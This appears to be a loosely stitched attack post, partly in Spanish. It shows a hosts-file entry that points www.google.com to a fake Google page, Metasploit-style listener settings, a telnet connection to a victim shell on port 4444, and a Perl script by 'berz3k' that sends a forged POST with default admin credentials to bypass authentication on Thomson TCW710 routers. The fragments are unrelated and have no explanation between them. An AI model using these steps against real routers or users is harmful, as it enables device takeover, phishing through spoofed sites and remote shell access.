perl -x exploit_TCW710.pl

C:\WINDOWS\system32\drivers\etc\hosts

# Copyright (c) 1993-1999 Microsoft Corp.
# etc
# etc
# etc
127.0.0.1       localhost
192.0.0.10    www.google.com  # <-IP con pagina falsa de Google.

SRVHOST=192.0.0.20 <-IP atacante es decir tu
SRVPORT=8080 <- Puerto en escucha, estara por default el 8080.
LPORT=4444 <- Puerto que escuchara la victima.

telnet ip.victima 4444

'Authorization:' => 'Basic OmFkbWlu', # base64 encode

#!/usr/bin/perl -w
#
# Router WiFi Thomson TCW710
# Remote Exploit bypass Authentication via "POST"
#
# By berz3k [berz3k at gmail.com]


use strict;
use LWP;
use Data::Dumper;
require HTTP::Request;
require HTTP::Headers;

my $method = 'POST'; # Method "GET" or "POST"
my $uri = '192.168.0.1'; # Factory default IP address
my $content = "/goform/RgForwarding?"; # Variable to send


my $headers = HTTP::Headers->new(

 'Host:'                => '192.168.0.1',
 'User-Agent:'          => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Paros/3.2.13',
 'Accept:'              => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
 'Accept-Language:'     => 'en-us,en;q=0.5',
 'Accept-Charset:'    => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',     
 'Keep-Alive:'          => '300',
 'Connection:'          => 'keep-alive',
 'Referer:'        => 'http://192.168.0.1',
 'Authorization:' => 'Basic OmFkbWlu', # base64 encode
 'Content-Length:' => '1159',

);

my $request = HTTP::Request->new($method, $uri, $headers, $content);

my $ua = LWP::UserAgent->new;
my $response = $ua->request($request);

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] We got this response from router: \n\n" . $response->content . "\n";

my $data;
foreach my $pair (split('&', $response->content)) {
  my ($k, $v) = split('=', $pair);
  $data->{$k} = $v;
}

if ($data->{RESULT} != 0) {

print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] Coded by: berz3k [berz3k\@gmail.com]\n";
print "[+] Use:\n";
print "\tperl -x exploit_TCW710.pl\n";
  print $data->{RESPMSG} . "\n";
exit(0);

} else {

  print "[+] Remote Exploit for TCW710 Beta\n";
print "[+] By berz3k [berz3k\@gmail.com]\n";

}